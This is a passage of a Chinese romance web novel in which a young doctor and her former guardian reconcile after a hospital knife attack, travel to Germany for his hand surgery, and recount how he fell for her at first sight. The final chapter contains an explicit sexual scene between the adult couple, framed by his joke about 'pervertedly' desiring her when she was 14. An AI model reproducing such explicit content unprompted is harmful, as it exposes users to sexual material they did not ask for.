经过医院反复的解释, 男人家属总算理解了,但男人性格偏执,却还一直把儿子的死因归咎于手术的主刀医生, 觉得万主任那句手术成功是在欺骗他,思想和行为都越来越走极端。 他家人 怕他闹出大事,菜刀用完了都锁起来,平时对他也多加看管。今晚他趁着家人睡着,偷偷拿了家里那把工艺刀跑出来,只是不知道那是没开过刃的。 姜思悦语气同情道:“杳杳,院长刚说了,今晚你受了太大惊吓,让你先回家好好休息三天。” 林杳点点头,谢过关心自己的同事,拎着喝完的保温杯坐电梯下去。 闻野胳膊上的擦伤不严重,擦点药应该挺快就处理完了,她拿着手机,点进他的号码,一走出电梯就拨过去,嘟声没响一秒就接通了。 “喂,你回去了吗?” “还没呢。” 耳边响起他的声音,正好林杳也走过拐角,一眼看见大厅里站着的,深黑色t恤,身材颀长的男人。 她朝他跑过去,握着手机的闻野循声望过去,也几大步向小姑娘走去。 “你等着我呢?”林杳眨着眼问他。 “嗯。”闻野点头。 刚经历这么惊心动魄的一出,领导肯定会让她回家休息,他于是问她休息几天,听到只有三天之后有些不满地皱了下眉。 这假放得也太抠搜了,一个星期都不给,小姑娘受了这么大惊吓,三天够她缓过来么。 他伸手拿过她手指勾着的保温杯,重量明显轻了一截:“肚子好一些了么?” 林杳点了点头,她还处于后怕的情绪中,看着他胳膊肘被被涂的药膏,语气心疼又责怪:“你当时怎么那么鲁莽就冲上去啊,万幸那把刀是没开刃的,要是开刃的怎么办啊?你当自己是铜墙铁壁,金刚不坏之身呐?” 闻野不反驳,安静挨训。 要是开了刃的,他更该冲上去,他最清楚刀刺进身体有多疼,更不能让她遭受分毫。 两人走出医院,拦了辆出租,凌晨一点的道路畅通无阻,很快就到了小区门口。 深夜的小区很安静,树影婆娑,连蝉鸣声都停歇了,这份静谧一直持续到家,闻野从鞋柜先拿出她的拖鞋,弯身放她脚边,又给她解开鞋带。 林杳扶着他,一只只蹬开帆布鞋,穿上拖鞋,抓着他胳膊的手指却是没松。 她朝他仰起脸:“你还没考虑好嘛?” 哪怕给他的三天时间还没到,可谁想到只是普通上个夜班,差点就要经历生死了,她迫切地立刻就想知道他的答案。 怕他又说那些乱七八糟的话,男人喉结刚动了动,林杳先一步又抢白道:“从初中起,就有男生喜欢我了,到高中,大学,还有读研的时候,除了我中途生病的那一年,我还挺频繁地被男生表白,说好喜欢我,甚至是爱我。” “可我知道,那些喜欢和爱都挺肤浅的,来得快去得也快。” “这么多年,我只遇到过一个真正的爱我的人,哪怕、哪怕……你还从来没说过一句爱我,可我知道,你是世界上最爱我的人,你不会因为我生病了变难看了就嫌弃我,遇到危险豁出性命也要护着我。” “你前天晚上我说家世,学历很重要,可那么多有钱的人在妻子年老色衰时再觅新欢,就连德高望重的教授,我也听说过好多,为了跟年轻貌美的女学生在一起,背叛了自己的婚姻。” “难道你舍得看着我遇人不淑,等四五十岁时老了,不好看了,老公背着我重新找年轻的漂亮的小姑娘,还把我扫地出门?” 小姑娘嗓音染上了浅浅的哽咽和委屈,说得像真有那么回事一样,闻野哪怕只是听个假设,都受不了,想去弄死这个不知道是谁的王八羔子。 其实就算不说那么远的,就今晚看到的那一幕,就够闻野感到不爽的了。 那个陈澍予,表现得多痴情多深爱,结果当小姑娘被刀尖指着的时候,他竟然就跟个木头桩子一样在那儿杵着。 换作是他,只要能护着她不受伤,他自己再废一只手,哪怕是丢了性命,他都在所不惜。 这么想着,他还真是,一点不放心把她交给除他以外的任何人啊。 这些年以来,闻野一直是做的比说的多,所做的每一桩每一件,都是他沉默而深刻的表白。 在今晚,此刻,他垂着眼看她,终于一字一顿的,说出了埋在心底很久的那一句那句:“杳杳,我爱你。” 他喉结滑动:“谢谢你愿意原谅我,从今往后我会好好表现的,再不让你有一点伤心难过了。” 林杳眼角弯成了月牙。 想了想,她又补充道:“我们得约法三章。” 闻野看着她一下又严肃起来的小脸:“约法一百章都没问题。” “第一,”她神色郑重道:“你以后不许再骗我了。” “好。”他也郑重地应下。 林杳又说了个第二,但要说什么却怎么都想不到了,除了第一条,他样样都很好了,她好像没什么能对他提的要求。 闻野见她蹙着眉,冥思苦想了好半天,提醒道:“杳杳现在想不到,可以等后想到了,再继续跟我约法第2章 第三章。” 林杳觉得这样也行,于是松开抓着他胳膊的手指,高高兴兴地跑回房间去洗澡了。 才洗完躺到床上没多久,房门被敲了两下,她让他进来,闻野推开了门,抱着被子枕头走到了她床边。 “我房间空调好像不太制冷,”闻野顿了下,“我今晚能睡你房间吗?” 林杳又没失忆,还记得就前天晚上她抱着被子去找他,结果他直接去睡了客厅的事呢。 她故意道:“客厅也有空调,你就睡客厅好了,反正你喜欢睡沙发。” 闻野看出小姑娘并不是真不愿意,而是还堵着气。 卧室里只开了盏小台灯,勾勒出男人凛冽又有棱有角的一张脸,下颌线瘦削利落,又是寸头,更给他添了几分冷硬的气质,然而说出来的话却要多没骨气就多没骨气。 “之前是我错了,杳杳大人不记小人过,原谅我一次好不好?” 林杳:“……” 她默默把身子往旁边挪了挪,闻野瞬时就躺到她腾出的那点位置上,手伸进她的被子里:“我给你揉揉肚子。” 他还是和从前一样,隔着她睡衣,大掌也只规矩地搁在她小腹上,不多占一点便宜。 林杳被他揉得很舒服,惬意地闭着眼,就听他道:“我要把一点半卖出去了。” 林杳惊讶得睁开了眼,紧张问道:“为什么啊?” “别担心。”闻野看出她眼底的情绪,笑了下,给她轻轻揉着肚子的动作没停,给她解释起原因:“现在KTV一批批关店,我觉得酒吧这种娱乐场所往后肯定也是走下坡路,反倒是这个老旧小区改造,看着好像不起眼,但投资小,周期短,利润还很高。” 林杳并没特意关注过他说的这个,不过她很相信他的眼光和能力,之前不管他开刺青店还是酒吧,都搞得风生水起呢。 “我支持你。”她眼睛很亮,满眼信赖。 闻野看得心软至极,语气更抱歉了:“但酒吧转出去后钱还差一些,还得把现在房子也卖了,我打算先在你医院附近租一间,这样你每天上班也方便。” “就是得委屈你,跟着我租一段时间房子了。”他黑眸里涌着歉疚。 “这有什么委屈的呀。”林杳毫不在意:“我手里还有几万块钱,我知道不多,但蚊子再小也是肉嘛,你拿去用。” 闻野不知道自己何德何能,能拥有这么好的小姑娘,就像是命运的馈赠,之前经历的种种和这份格外优厚的馈赠相比,都变得不值一提。 “不用。”他刚说完,看见她不乐意地扁了扁嘴,马上又改口道:“钱先放你这儿,等我不够了再找你要。” 林杳这才露出稍稍满意的表情。 闻野看得好笑:“不怕我瞎折腾一通,到最后一分钱不剩,还得靠你养啊?” “我愿意养你啊。”林杳脱口而出。 就像她在高中还有大学那一年,就一直是他在养她,还把她养得很好 。 每天变着花样给她做好吃的,她饭卡里永远不会缺钱,还总哄着她去商场,给她各种买换季的衣服。 更别提她生病的一年多,他对她照顾得有多无微不至。 她杏眼认真:“我现在工资可能不是特别高,等我转正再能上手术台做手术了,就会高很多,养你没问题。” 闻野静默了一瞬,一本正经道:“看来我从明天起得把健身都练起来了。” “诶?”林杳疑惑地眨了眨眼。 闻野勾了勾唇:“毕竟我以后得以色侍杳杳,得有点资色才行。” 林杳被他说得脸颊一热,睁大眼瞪了瞪他:“你瞎说什么呢。” 明天小姑娘不需要上班,闻野提醒她:“明天不是不上班么,把闹钟关了吧。” 林杳这才想起每天六点半准时响起的闹钟,从枕头边捞过手机,庆幸地关掉了闹钟,多亏了闻野细心,不然明天她一大早就要被闹醒。 这一晚受惊太大,又完成了悬在心中很久的大事,林杳整个人处于疲惫又放松的状态,很快就有了困意。 将将要睡着之际,她耳边响起道低低哑哑的声音:“杳杳,给我867天。” 林杳意识已经不太清晰了,眼皮没睁开,顺着他的话,嗓音含糊地问了句:“为什么是867天啊?” 闻野伸过胳膊,隔着她身上盖着的薄被将人搂近了些:“再过867天,就是你二十九岁生日了。” 怀里的小姑娘“噢”了一声回应,便没了声音,很踏实地熟睡过去,呼吸变得轻又浅。 闻野低了低头,在她发顶很轻又珍惜地落下一个吻,低得近乎呢喃的嗓音补完后半句。 “等你二十九岁,我娶你。” 在此之前,他会竭尽所能,不止给她一场盛大梦幻的婚礼,那些世俗又令人艳羡的东西,他都要双手捧到她眼前。 第二天一早,两人还是被手机的铃声吵醒了,闻野先睁开眼,长臂一伸捞过她枕头边的手机,亮起的屏幕显示出一个英文名字。 他划过接听键,握着手机拿到林杳耳朵边。 就听小姑娘迷糊地喂了一声,不知那边说了什么,她眼里的困倦一扫而空,从他手里拿过手机,精神得腾地一下坐了起来。 又听那边说了好半天,她连说了好多谢谢,笑容满面地挂了电话。 “谁啊这是?”闻野也坐了起来,有点吃味地问,那英文名字一看就是男的。 “我剑桥读研时的一个同学。”林杳神采奕奕的,脸上笑容扩大了几分:“我之前把你右手的片子发给他,希望他帮我找教授问问,看有没有手术治愈的希望。” 她眼眸亮得像缀满了星光,要不是还坐在床上,恨不得都要蹦起来了,语气兴奋得不行—— “前几天他和导师去德国参加一个学术研讨会,他又把片子拿给一个神经外科的教授,对方说通过最新的技术,虽说不能完全治愈,但能恢复个七八成!” 第56章 第五十六章 不会弄疼杳杳 正好林杳还有三天休息, 她去查航班信息,最近的一趟国际航班就在十二点,她立刻爬起床去收拾行李箱。 赶在飞机起飞前的半小时, 两人坐上飞机, 闻野从行李箱里拿出双拖鞋让林杳换上, 又给她塞了只蓝牙耳机,拿出平板陪她一块看提前下好的电影。 看到一半, 林杳有些困了,才打了哈欠,闻野就又掏出条毯子和U型枕给她:“先睡会儿吧。” 林杳收得很匆忙,就把换洗的衣服和充电线这些必备用品塞进了行李箱,一时之间也想不到其他什么,完全没有闻野准备得这么齐全。 有了这两样,她在嘈杂的飞机里也睡着了,睡得迷迷糊糊的时候,林杳听到有个外国空姐过来,让闻野帮忙做一份满意度的调查问卷。 全程说的是英语,语速还有些快, 她正要睁眼给闻野翻译,就听他用低沉好听的声音回答了所有问题, 口语算是很流畅的了。 七年前闻野为了来英国学过一段时间雅思, 但这也过去太久了, 他竟然不仅没忘, 还比之前还要好太多。 疑惑在脑海里闪过, 又被接踵而来的困意压过,她又睡了过去,等快要发飞机餐时林杳才醒来, 闻野拧开自带的保温杯,倒了杯温水给她。 林杳喝了几口,想起来问了他。 闻野想了想道:“可能是因为我基本每天都去网上搜剑桥当地的新闻看,久而久之英语就好起来了吧。” 看着她愣怔的眉眼,他叹了口气,坦然道:“太想你了,又没法知道你每天做了什么,只能去看看你每天待着的城市是什么天气,发生了什么,如果那天下雨,就希望你带了伞,如果那天是晴天,就希望你也一样有个好心情。” 林杳鼻尖开始泛酸,又有想要落泪的冲动,右脸颊被轻轻捏了一下,她撞进他深浓漆黑的眼。 他反倒笑起来:“不用替我难受,这都是我自找的,是我活该。” 十五个小时的航程,飞机落地已经是凌晨四点多了,两人随便找了个酒店睡了几个小时,林杳就和闻野一起去找她还留在这儿开研讨会的同学。 经由那位同学引荐,她找到了在神经学上很有发言权的那位教授,研讨会还要持续两天,教授答应第三天上午为闻野做手术。 林杳向医院的主任说明了情况,多请了两天假,推进手术室前,她把脖子上的那块曾经保佑了她的玉佩解了下来,虔诚地给闻野戴上。 曾经是她在移植仓里,闻野在外面等着她,如今在手术外等着的人换成了她。 并不比在里面做手术好受,她等得焦急又忐忑,只四个多小时她都觉得很漫长难熬了,林杳不知道她当初进移植仓的那二十五天,闻野是如何挨过去的。 终于手术进行中的灯熄了,看到教授笑着从里面走出来,林杳揪着的心先松了一半,用英语和他交流了一番,她便迫不及待地就进去看闻野。 手术是半麻,闻野人还是清醒着的,她笑弯了眼:“手术做得很成功,以后你的右手除了不能用力过度,正常使用完全没有问题。” 闻野从医护放松的表情就猜到结果不错,听小姑娘这么说,他唇角弯了起来。 “这菩萨真是好,以后有钱了,一定给她多捐香火。”- 彭一凡几个也知道了这个好消息,他们回国当晚,就在个烧烤的大排档约了起来。 他们三先到的,坐在街边支的个小桌子前,已经先整上啤酒了。 “杳杳,我们在这儿!”彭思嘉看到走来的林杳和闻野,笑着抬起胳膊朝他俩使劲挥了挥。 彭一凡和路宇安顺着那方向看过去。 彭一凡奇怪地嘀咕:“我不就喝了半听啤的嘛,怎么眼花了呢?怎么野哥和林杳手是牵着手的啊?” 还他妈是十指相扣的那种??! 路宇安也一脸的费解:“这哪有一点你之前说的,野哥被杳妹伤透了心的样子啊?” 他倒是看出了几分蜜里调油的诡异感。 彭思嘉看着这俩二货迟钝的反应,简直无语。 林杳和闻野走到了他们那桌,牵着的手才松开。 闻野捞过来两个塑料凳,见上面有点水渍,先拿出纸巾把椅面擦了擦,然后才把椅子放到她身后。 林杳坐下之后,低头从包里拿出个粉色的小袋子,递给给彭思嘉,笑着道:“你先前不是说这只色号的唇釉想买但断货了嘛,我在机场的免税店看到了,就给你买啦。” 袋子里还有一盒巧克力和包装精致可爱的饼干,彭思嘉看得感动死了:“呜呜呜谢谢杳杳你真好。” 林杳一视同仁,又从包里拿出两个一样的袋子,这里面装的是男士洗面奶和巧克力。 她拎着胳膊往前一伸,对彭一凡和路宇安笑了笑:“给。” 彭一凡和路宇安两个还处于懵逼状态,木楞楞又一言不发地接过了袋子,闻野颇不满地眯了眯眼:“有没有点礼貌啊?” “啊,谢谢杳妹了。”两人慢半拍地回神,彭一凡纠结半天,还是没忍住问了:“野哥,你和杳妹这是怎么个情况啊?” 闻野睇他们一眼,嫌弃又不满这两人这眼神差的:“这 么明显了还看出来?” 他慢悠悠拖着语调,似想云淡风轻,只唇角根本压不住,语气的愉悦和炫耀更是满得要溢出来了:“重新在一起了呗。” 彭一凡和路宇安:“???!!!” 在一起了??? 关键还是重新???他们怎么一点没察觉出来?! 彭一凡好半天才从震惊中平复,恍然大悟,猛地一拍大腿:“靠!我就说野哥你当初怎么对杳妹那么好,哪像是养妹妹啊,简直就是当女儿宠,原来你这是提前养未来的老婆呢!” 林杳耳廓一热,被“老婆”两个字臊红了脸。 “别瞎说。”闻野否认,神色万分坦荡:“我当时没那些弯弯绕绕的心思。” 就只是单纯地想对她好,尽自己所能,让她在那个破烂的地方得生活得更好一点。 点的好多盘烧烤都端了上来,满满摆了一桌。 林杳和彭思嘉边吃边聊她们那些女生的话题,旁边三个男人也喝着啤酒谈天说地。 闻野话少,大部分时间听彭一凡和路宇安说,又时不时看向身旁的姑娘,她杯子里的饮料一完就给她倒,手上沾上油了又给她递纸巾。 吃吃聊聊了两个多小时,闻野起身去结账,因为生意太好,前面还排着几个人。 彭思嘉笑嘻嘻对彭一凡道:“我说你傻吧你还不承认,杳杳和闻野之间多明显了啊,你还跟个二傻子似的觉得他俩就是纯兄妹。” 彭一凡喝大了,什么话都敢往外说,还一副挺冤的表情:“那是因为野哥心里老早就有个白月光了,后来杳妹搬来了挺久以后,我问他还喜不喜欢那个白月光,他还很肯定地说还喜欢,要喜欢一辈子,我哪知道野哥又对杳妹动心了啊。” 彭思嘉:“!!!” 彭思嘉听得慌了伸,忙去觑林杳,只见她唇角抿了抿,不太开心的样子,当然了,这也正常。 谁他妈知道男朋友有个说要喜欢一辈子的白月光会高兴得起来,换成是她,不当场大吵大闹一架就算是修养好了! 啊啊啊人家好不容易破镜重圆,怎么就让她和彭一凡这个傻逼玩意儿又搞出一道裂痕了! 她瞪向彭一凡:“你这金鱼脑子记得住什么事啊,别喝醉了瞎给闻野造谣,小心他揍你。” “我没瞎说啊。”彭一凡脖子很不服气地争论道:“我记得清清楚楚,噢对了,当时老路也在,野哥是不是说过会喜欢那个白月光一辈子的话。” 路宇安也喝得脸红脖子粗,十分赞同又傻不愣登地点头:“对啊,野哥当时确实就是这么说的!” 彭思嘉:“……” 彭思嘉一脸讪讪地又劝林杳:“杳杳你别往心里去,男生十几岁时说的话哪能当真啊。” 林杳轻轻点了下头。 闻野结完账回来,自然而然地牵起林杳的手:“我们先走了啊。” 打了辆出租,林杳先坐进后车座,闻野跟着上去,和她挨着坐,又想捏着她小手玩,结果才握住,掌心的小手就被迅速抽了出去。 林杳脸侧到另一边:“你身上有酒味。” 闻野才做完手术,今晚就连半听啤酒都没喝完,不过他想到小姑娘鼻子灵,笑了声,自觉跟她坐得都远了些。 反正回去他洗完澡不仅能牵,还能抱,还能……亲。 回到家后,闻野火速就要去洗澡,刚拿着换洗的衣服还没走进卫生间,就被小姑娘叫住。 林杳拿着个保鲜袋和透明胶过来:“你手上还缠着绷带,我给你用保鲜袋包好了,别进水了。” 她让闻野把右手伸进保鲜袋,先把袋子在手腕处打了个结,又用透明胶紧紧缠了一圈又一圈,这样就算花洒淋到这儿也不容易进水了。 闻野低眸看着小她认真又细致的举动,唇角弯了弯:“杳杳真好。” 林杳没吭声,拿着用完的剪刀胶带走了。 没谁规定人一辈子就只能喜欢一个人,不就是喜欢上她之前有个白月光嘛,不就是说了要喜欢那个白月光一辈子的话嘛。 她不生气,一点都不生气。 至此,闻野还没察觉小姑娘的反常,他快速洗了个头和澡,沐浴露和洗发水特意都多挤了一泵,穿衣服前还抬起胳膊闻了闻。 嗯,很好,没一点酒味了。 寸头都不用吹,闻野拿着抹布走到林杳房间,五天没住人,肯定落了些灰。 卫生间的门还关着,玻璃上一片热腾腾,雾蒙蒙的雾气,水声淅淅沥沥的,隐约能窥见里面的一道人影。 闻野喉结滚了滚,擦完去洗了个手,从冰箱里拿出瓶冰水仰起脖子灌下一半,然后就坐在沙发回复周老板的消息。 酒吧已经转让给了周兴伟,对面明里暗里向他打探之后去做什么,是不是有什么新的发财门路。 房里的水声一静,闻野扔了手机走了进去,从置物架上拿起吹风机插上电源,卫生间的门开了,一股热气溢了出来。 闻野侧眸看去,呼吸紧了紧,小姑娘穿着件奶黄色,花边泡泡袖的睡裙出来,上边还有卡通的郁金香和小兔子图案。 样式是宽松又可爱的,可她才洗过澡的缘故,湿漉漉的长发散在肩头,袖子外嫩白纤细的两只胳膊透出几分带着潮意的粉,小脸也是很粉,眼眸里沁着一片水色。 又娇又媚的。 闻野哑着嗓子道:“过来,我给你吹头发。” 林杳不太情愿走了过去,到桌前的椅子坐下。 闻野不是第一次给她吹头发。 之前林杳高考完的那个暑假,两人相处了一年多,她对和他住在一起这件事很自在了,经常晚上洗完澡就穿着睡衣坐到客厅的沙发上,边看电视边抱着半个西瓜吃。 然后闻野就发现了她一个很不好的习惯,每次只肯把头发吹得半干,还振振有词说反正天气热,一会儿就自然干了。 他于是就找了个接线板,插上吹风机后摁着她脑袋给她重新吹。 然而那个暑假的他丝毫不敢逾越,手里拿着吹风机给她吹头发,眼睛笔直又规矩地盯着前边她看的电视剧,一点不敢往别处瞟。 而此时,闻野一低眸,就看到有水珠顺着发丝落到她细白漂亮的锁骨,又慢慢往下滑,睡裙的领口湿了一点,鼓鼓的,凸起细微的尖。 他看得眼热,忍着一直给她吹完头发,还把手伸进她细软的发丝摸了几遍,确认完全是干了,才将吹风机的线绕了几圈放回原处。 林杳起身就要躺床上睡觉,男人高大身影挡着了她,她腰被一只硬实的胳膊揽住,他黑眸漆漆,勾着的唇角衔着笑,头一寸寸朝她低下。 没碰到渴望了一晚上的柔软唇瓣,而是小姑娘偏过去的侧脸颊。 “我洗干净了,没一点酒气。”闻野以为她还介意这个。 林杳看着他,憋了一晚上,再也忍不住了,语气酸溜溜道:“我不是吃醋啊,我就随便问问,你那个白月光……是你初中同学嘛?” 闻野愣了愣,根本没反应过来什么叫他那个白月光。 林杳见他这样,以为他想抵赖,鼓了鼓腮,有理有据道:“彭一凡和路宇安都说了,你很早就有个很喜欢的女孩子,在我搬过来很久之后,他们问你,你还说喜欢那女孩子,还说……” 她皱了皱鼻子,语气又不可抑制地变酸:“要喜欢她一辈子。” 闻野听她这么一说,明白了,他装作恍然想起的样子,拖长了语调噢了声:“我确实有个白月光,也确实说过要喜欢她一辈子这种话。” “她啊,不是我初中同学,是我在外边遇到的,顶顶漂亮,又聪明可爱,还心底善良性格温柔,世上所有好的形容词放在她身上都不为过。” 林杳木着张小脸,听他一口气不停地把他那白月光夸得天上有地上无的,心里默念着不生气不生气,就见他掀起唇角,又补充了一句。 “还有,她还很会跳舞 。” 一股久远又强烈的熟悉感倏地涌上林杳心头,类似的话,他之前好像就说过,她当初还为自己贴合他喜欢的点而高兴呢。 他那个白月光,或许早就不在了,不然依照他的性格,肯定还会坚持不懈地一直喜欢人家。 她当初刚搬过去,他就想法设法的对她好,肯定也是从她身上看到了那个白月光的影子。 闻野觉得自己表白得够明显了吧,却眼见着小姑娘脸像小金鱼一样鼓起,眼圈还变得红彤彤的。 还没想明白怎么回事,就听她抽了一记鼻子,用要多委屈有多委屈的嗓音问道:“你最开始喜欢我,是把我当做你那个白月光的替身吗?” 闻野彻底懵住了,在她委屈的哭之前大脑迅速运转,总算想明白是怎么回事。 男人眸底溢出无奈和好笑:“杳杳,你怎么不觉得我的这个白月光,一直就是你呢。” “不可能。”林杳摇了摇头,很坚定也很理智地否认:“彭一凡说得很清楚,在我搬过去之前,你就喜欢那个白月光了。” 闻野叹息一声:“那我是不是也跟你说过,在你搬来之前,我就见过你,隔着那个舞蹈机构的落地窗看见你跳舞。” 这下愣住的人换成了林杳,刚才满腔的委屈被难以置信的情绪吞没。 她感觉自己的认知不断被刷新,原本在看了他摆在床头的那张影子的合照之后,以为他差不多就是她搬来没多久,他喜欢上的她。 她以为就够早了,没想到他对她,竟然还是……一见钟情。 “知道酒吧名字为什么叫‘一点半’么?”闻野出声印证她的猜想:“因为那天我遇到你,就是在2月14号下午,一点半的时候。” “我被那一眼的美好俘虏,很久都走不出来,后来你搬了过来,我更走不出来了,我想我一辈子都要喜欢你了。” “但现在,”他笑了声,“我觉得这想法不太准确。一辈子哪够啊,下辈子,下下辈子还想要喜欢你。” 他狭长的眸底蕴着情意绵绵,头低了低,热气拂在她脸颊,林杳没再躲,主动仰起脸,雪白脖颈拉扯出一道漂亮的弧线。 吻得很深。 男人技巧越来越熟练,林杳舌头被吮得发麻,有种缺氧的感觉,不得不双手勾着他脖颈,脚仍发软,渐渐有些站不住了。 闻野干脆左胳膊打横搂起她转移阵地,他坐到了床边,她直接坐到了他腿上。 林杳这才得了片刻换气的机会,却根本不够她平复的,下一秒唇齿又被撬开,他湿热的舌搅弄起来,比刚才更放肆霸道,房间除了空调运作的声音,又多了啧啧的水声。 后者声音渐渐压过前者。 其实在德国那五天两人就亲过,今天刚到家,也是亲完才去聚的餐,可还是无法餍足。 这一吻持续了很久,闻野估摸着比小姑娘上次的极限又多了几分钟,才恋恋不舍地松开她柔软的唇瓣。 林杳身体像过了电流,又仿佛浸泡在了温热的水里,浑身又麻又软,她下巴搁在他肩膀慢慢地换气。 闻野大掌轻一下下抚着她后背,给她顺气,动作温柔得不行,他自己却一点不好,修长手臂和脖颈隆起的青筋昭示着他现在又有多难受。 小姑娘坐在他大腿上,睡裙裙摆散在腿侧,和他肌肤贴着的,是她纯棉的小底裤。 很不一样的触感,似还有一点濡湿。 林杳缓了半天,乱跳的心脏才降下速度,呼吸还是很不稳,她从他肩膀抬起绯色的小脸,水光潋滟的眸子望向他。 她身子稍稍一动,那点磨蹭后带来的触感就更清晰,闻野肌肉僵硬住,绷着的弦紧了又紧。 “你第一次见到我,是在南菱路那个舞蹈机构嘛?” 她之前听他提过,只当是一次偶遇,并没追问,现在知道那是他对她一见钟情的那天,就想了解得更清楚。 “不是。”闻野哑声否认,“是在湘北路那里。” 林杳初三之前才在湘北路那家,后来随着家搬到南菱路,也就转到附近的机构去学了。 “我那时好像才十四岁呢。”她脸红着嘀咕,还那么小呢。 闻野笑着,哑声嗯了声承认:“你还是个小萝莉,我就变态地觊觎上你了。” 顿了下,他直勾勾望着她,喉结缓慢滚动:“现在我还想做点更变态的事,可以么?” 林杳疑惑地眨了眨眼,没等她思考出来,他的行动就给了她最直接的回答。 男人粗砺的无名指指腹带着滚烫的温度,慢条斯理地挑开了一点纯棉布料的边缘,轻轻一碰,便让她浑身猛地一抖。 “我刚洗了手,很干净。” 他嗓音低磁,带着诱哄和蛊惑地保证道:“我也会很小心,不会弄疼杳杳的。” 第57章 第五十七章 补充能量 卧室一静, 空调运作的声音又变得清晰起来,但似乎也没有用,丝毫缓解不了室内节节攀升的温度。 闻野手指没再动了, 却也没拿出来, 就那么不进也不出地放着, 也证实了他刚才感受到的那一点濡湿的触感不是错觉。 他胸腔微震,唇角有几分愉悦地扯了扯。 林杳脸红得能滴血, 四肢僵直得像人偶一样,不敢乱动一下。她和他无声对视着,男人瞳孔黑得发亮,她在其中看见了自己小小的倒影,以及翻涌着的,难以压抑的渴求。 此刻的感觉说实话很令她羞耻。 可是如果他们按正常的恋爱步骤走,没有中间分开的那七年,该做的,其实也早该做完了。 她咬住唇,红透了的小脸不由又埋进他肩膀,发出一声含糊的, 轻得不能再轻的嗯声。 闻野得了她的应许,还绑着纱布的手掌虚虚搂着她腰, 另一只, 则继续在探索中缓慢又小心翼翼地往前。 卧室里灯光明亮, 让林杳觉得他们正在做的事好羞, 于是闭上了眼, 可看不见了,感知好像又全集中到了另一处。 莫名其妙的,她想起自己第一晚去“一点半”, 听到两个女生准备要闻野微信,说什么他无名指特别长,修长又骨节分明。 此刻她有了实质性的认识,不仅是连长度,连指骨和指腹的薄茧都感受得特别清晰。 察觉到她身体的紧张,闻野喉头空咽了下,沙哑着出声道:“我第一次看到你的那天,你和你同伴买奶茶,有个浑身伤,身上还有血的少年靠在电线杆旁边看你,那个少年就是我。” “你同伴有些害怕,立刻拉着你要离开,你走之前跑进店里,让店员给我送来了一杯奶茶。” 林杳顺着他的话开始回想。 注意力一转移,人也跟着放松,闻野的无名指趁机往里进了一寸,林杳身子不受控地抖了抖,脑海里还在试图回忆他说的那一幕。 然而隔得实在太久远了,又因对那时的她而言只是很无关轻重的一天,她完全没一点印象了。 “对不起,我不记得了。”她嗓音细软发着颤,眼里掠过一丝愧疚。 “这有什么对不起的啊。”闻野发出很轻的一声哂笑,早有所料,他并不感到一点失望,那肯定只是善良的小姑娘随手做的许多善举中的一件。 只是于他而言,却是给他生命里猝不及防照进来的一束亮光。 他手指继续往里,向更深的未知处探索,那是连林杳自己都从未碰过的地方,她本能地缩了缩,惹来男人一声低低的调笑:“杳杳,你绞得太紧了。” 林杳:“……” 她重新隐忍地咬住唇,尽力让自己不发出奇怪的声音。 耳边,男人低哑的声音还在继续:“之后我基本每个周末,都会南菱路,翻墙进那个舞蹈机构,隔着那扇落地窗看你在里边跳舞。碰巧还看到附近有个刺青店门口贴着个招学徒的告示,正好我有画画基础,就被招了进去。” “本来我那时挺穷的,经常饥一顿饱一顿,又因为没满十六岁,很多兼职做不了,这下总算能有点 钱能不饿肚子了。现在想想,遇上你其实就是我幸运的开始。” 他是笑着说的,林杳却听得心里一阵酸楚。 “后来有天下午突然下暴雨,路上很多没带伞的行人抱着头往公交车站跑,我不知道你带了伞没有,找店主借了一把旧伞,又跑到超市去买了一把新的,等到你快下课时过去,却发现自己是多此一举了。” “你很多同学都有家长开车来接,你也是,当时是你妈妈来接你的,你撑着她拿来的一把粉色,还缀着精致蝴蝶结的伞,几步路就钻进了黑色奔驰车,一点雨都没淋着。” “我那时觉得自己挺可笑的,之后连着好几个星期,我都没再去那个舞蹈机构,结果等我之后再去,就再也没看到你了,那好像是我这辈子第一次尝到后悔的感觉。” 趴在他肩头的小姑娘抬起了头,红了一圈眼。 闻野本想说不用替他难过,他得偿所愿,命运已经待他很仁慈了,然而思及两人此刻正做的,话到了嘴边,却变成了:“杳杳在心疼我啊?” 林杳脑袋重重地点了点。 闻野垂眸,意味深长地看着她,唇角挑起轻微的一个弧度,提前给未来的自己谋取福利:“那杳杳记得以后对我好一点。” 林杳没揣摩出话里的别有用心,毫不犹豫地又点了下头:“当然了,我以后一定对你好。” 男人唇角的弧度变大:“我右手还包着纱布,另只手还在杳杳里面,就没法拉勾了,但我相信你肯定说话算数对不对。” 林杳因他中间那半句臊得慌,还是好认真地保证道:“我肯定说话算数呀。” 说完她便没空再思考别的,那根在里面的手指开始了动作,她脑袋被他的反复进出搅弄弄成了一团乱麻。 房间多出咕叽咕叽的水声,彼此心知肚明是哪儿发出的。 林杳唇瓣的咬痕更深了,却还是在他碰到的某一下后,人像被电到似的一个哆嗦,憋在喉咙好久的那声哼唧溢了出来。 她羞得无地自容,像是煮沸的开水壶,身上每个毛孔都在往外冒着热气,可那一声落在闻野耳里,却是动听至极,堪比天籁。 他知道怎么能让自己再次听到,于是加重了力道。 林杳倏然睁大眼,带了哭腔的嗓音央求着别弄那儿,可根本没有用,反而让他加快了指间的速度,坏得不行。 最终她抖得如筛糠,脑袋一空,什么都听不见也看不见了,浑身的力气像被抽干,软绵绵的趴在他身上。 之前那个澡算是白洗了,她又抱着换洗的衣服跑去了浴室,闻野起身走起客厅的卫生间。 冲了个手,再拿毛巾把腿上的一片水渍擦了擦。 林杳洗完从里到外换了身,先前还是睡裙的,这会儿变成了睡衣睡裤,闻野心知肚明,握起桌上才倒的杯温水递给她,嗓音低淡带笑:“杳杳喝点,润润嗓,也补充点水分。” 林杳现在很敏感,总觉得他话里那个“润润嗓”以及什么“补充点水分”都是意有所指地笑话她。 不过她又确实有些渴,接过杯子喝完了一小半。 大晚上这么没羞没臊的闹了一通,倒有个神奇的好效果,林杳不怎么用倒时差了,被闻野抱着没一会儿就睡着了。 第二天闻野先开车送她去上班,又去了附近的房屋中介,把他要卖的那套房挂上网,又跟着中介看了好几个医院周边要租的房子。 他都拍了照片,趁中午林杳午休,附着介绍一一发过去,等小姑娘选好了哪套,就直接跟中介交钱签合同。 然后他开着他那辆suv去了彭一凡的汽修店。 “你不是有很多车主群么,帮我个忙,把这辆车挂进去卖了。” 原本卖房,盘出去酒吧,再加上他的所有存款,钱差不多是够了的,但去德国做手术花了几十万,这空当只有用卖车的钱填进去了。 